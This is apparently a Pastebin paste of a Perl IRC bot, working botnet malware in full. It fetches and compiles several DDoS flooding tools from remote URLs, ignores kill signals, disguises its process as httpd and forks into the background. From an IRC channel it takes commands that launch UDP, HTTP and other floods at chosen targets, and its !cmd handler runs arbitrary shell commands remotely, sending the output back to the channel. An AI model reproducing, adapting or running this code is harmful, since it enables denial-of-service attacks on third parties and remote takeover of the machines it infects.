Advertisement
asa_nuclear

IRC-Perl-Bot

Apr 22nd, 2019
994
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.34 KB | None | 0 0
  1. #!usr/bin/perl
  2.  
  3. use IO::Socket;
  4. my $processo = '/usr/sbin/httpd';
  5. my $server  = "irc.freenode.net";
  6. my $code = int(rand(100000));
  7. my $channel = "#35fgh4";
  8. my $port    =   "6667";
  9. my $nick    ="Machine_$code";
  10.  
  11.  
  12. unless (-e "goldeneye.py") {
  13.   print "[*] Instalando o Goldeneye... ";
  14.   system("wget https://raw.githubusercontent.com/jseidl/GoldenEye/master/goldeneye.py -O goldeneye.py");
  15. }
  16.  
  17. unless (-e "udp1.pl") {
  18.   print "[*] Instalando UDPFlooder... ";
  19.   system("wget https://pastebin.com/raw/3Ct3HJXQ -O udp1.pl");
  20. }
  21.  
  22. unless (-e "std.c") {
  23.   print "[*] Instalando STD... ";
  24.   system("wget https://raw.githubusercontent.com/KrawkRE/DDoS-API/master/a83f1ca5ad00b39773d9e6a26b0e70b2/STD.c -O std.c");
  25.   system("gcc std.c -o std -pthread");
  26. }
  27.  
  28. unless (-e "httpabuse.pl") {
  29.   print "[*] Instalando HTTPABUSE... ";
  30.   system("wget https://raw.githubusercontent.com/KrawkRE/DDoS-API/master/a83f1ca5ad00b39773d9e6a26b0e70b2/HTTP.pl -O httpabuse.pl");
  31. }
  32. all();
  33. sub all {
  34. $SIG{'INT'}  = 'IGNORE';
  35. $SIG{'HUP'}  = 'IGNORE';
  36. $SIG{'TERM'} = 'IGNORE';
  37. $SIG{'CHLD'} = 'IGNORE';
  38. $SIG{'PS'}   = 'IGNORE';
  39.  
  40. $s0ck3t = new IO::Socket::INET(
  41. PeerAddr => $server,
  42. PeerPort => $port,
  43. Proto    => 'tcp'
  44. );
  45. if ( !$s0ck3t ) {
  46. print "\nError\n";
  47. exit 1;
  48. }  
  49.  
  50. $0 = "$processo" . "\0" x 16;
  51. my $pid = fork;
  52. exit if $pid;
  53. die "Problema com o fork: $!" unless defined($pid);
  54.  
  55. print $s0ck3t "NICK $nick\r\n";
  56. print $s0ck3t "USER $nick 1 1 1 1\r\n";
  57.  
  58. print "Online ;)\n\n";
  59. while ( my $log = <$s0ck3t> ) {
  60.       chomp($log);
  61.  
  62.       if ( $log =~ m/^PING(.*)$/i ) {
  63.         print $s0ck3t "PONG $1\r\n";
  64.     print $s0ck3t "JOIN $channel\r\n";
  65.       }
  66.  
  67.      if ( $log =~ m/:!sadattack (.*)$/g ){##########
  68.         my $target_sadattack = $1;
  69.         $target_sadattack =~ s/^\s*(.*?)\s*$/$1/;
  70.         $target_sadattack;
  71.         print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack started at $1, use !stopsad for stop :P \r\n";
  72.         system("nohup python sadattack.py $target_sadattack > /dev/null 2>&1 &");
  73.       }
  74.      
  75.       if ( $log =~ m/:!stopsad/g ){##########
  76.         print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack sucessfully finished! \r\n";
  77.         system("pkill -9 -f sadattack");
  78.       }
  79.  
  80.       if ( $log =~ m/:!hulk (.*)$/g ){##########
  81.         my $target_hulk = $1;
  82.         $target_hulk =~ s/^\s*(.*?)\s*$/$1/;
  83.         $target_hulk;
  84.         print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack started at $1, use !stophulk for stop :P \r\n";
  85.         system("nohup python hulk.py $target_hulk > /dev/null 2>&1 &");
  86.       }
  87.  
  88.       if ( $log =~ m/:!stophulk/g ){##########
  89.         print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack sucessfully finished! \r\n";
  90.         system("pkill -9 -f hulk");
  91.       }
  92.  
  93.       if ( $log =~ m/:!gold (.*)$/g ){##########
  94.         my $target_gold = $1;
  95.         $target_gold =~ s/^\s*(.*?)\s*$/$1/;
  96.         print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack started at $1, use !stopgold for stop :P \r\n";
  97.         system("nohup python goldeneye.py $target_gold -w 15 -s 650 > /dev/null 2>&1 &");
  98.       }
  99.  
  100.       if ( $log =~ m/:!stopgold/g ){##########
  101.         print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack sucessfully finished! \r\n";
  102.         system("pkill -9 -f goldeneye");
  103.       }
  104.  
  105.       if ( $log =~ m/:!udp (.*)$/g ){##########
  106.         my $target_udp = $1;
  107.         print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack started at $target_udp, use !stopudp for stop :P \r\n";
  108.         system("nohup perl udp1.pl $target_udp > /dev/null 2>&1 &");
  109.       }
  110.       if ( $log =~ m/:!stopudp/g ){##########
  111.         print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack sucessfully finished! \r\n";
  112.         system("pkill -9 -f udp1");
  113.       }
  114.  
  115.       if ( $log =~ m/:!std (.*)$/g ){##########
  116.         my $target_std = $1;
  117.         my $port_std = $2;
  118.         my $time_std = $3;
  119.         print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack started at $target_std, use !stopstd for stop :P \r\n";
  120.         system("nohup ./std $target_std $port_std $time_std > /dev/null 2>&1 &");
  121.       }
  122.  
  123.       if ( $log =~ m/:!stopstd/g ){##########
  124.         print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack sucessfully finished! \r\n";
  125.         system("pkill -9 -f std");
  126.       }
  127.  
  128.     if ( $log =~ m/:!httpabuse (.*)$/g ){##########
  129.         my $target_httpabuse = $1;
  130.         $target_httpabuse =~ s/^\s*(.*?)\s*$/$1/;
  131.         $target_httpabuse;
  132.         print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack started at $1, use !stopabuse for stop :P \r\n";
  133.         system("nohup perl httpabuse.pl $target_httpabuse 3000 1000 PPS 13.37 3600 > /dev/null 2>&1 &");
  134.       }
  135.      
  136.       if ( $log =~ m/:!stopabuse/g ){##########
  137.         print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack sucessfully finished! \r\n";
  138.         system("pkill -9 -f httpabuse");
  139.       }
  140.  
  141.       if ( $log =~ m/:!cmd (.*)$/g ){##########
  142.         my $comando_raw = `$1`;
  143.         open(handler,">mat.tmp");
  144.         print handler $comando_raw;
  145.         close(handler);
  146.  
  147.         open(h4ndl3r,"<","mat.tmp");
  148.         my @commandoarray = <h4ndl3r>;
  149.  
  150.         foreach my $comando_each (@commandoarray){
  151.           sleep(1);
  152.           print $s0ck3t "PRIVMSG $channel :67[63RCE67]61 Output67 => $comando_each \r\n";
  153.        }
  154.    }
  155. }
  156. }
  157. while(true){
  158.   all();
  159. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement